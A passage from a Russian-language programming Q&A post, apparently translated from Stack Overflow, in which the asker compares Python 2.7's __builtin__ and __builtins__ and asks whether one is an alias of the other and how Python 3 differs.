'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'] >>> dir(__builtin__) == dir(__builtins__) # They seem to have the same things True

Обратите внимание на последнюю строку.

Итак, мой вопрос:

Является ли какой-либо псевдоним другого?
Ребята из Python планируют избавиться от одного из них?
Что я должен использовать для своих собственных программ?
Как насчет Python 3?
Любая информация ценна!

Важно:

Я использую Python 2.7.2+ на Ubuntu.

qaru.site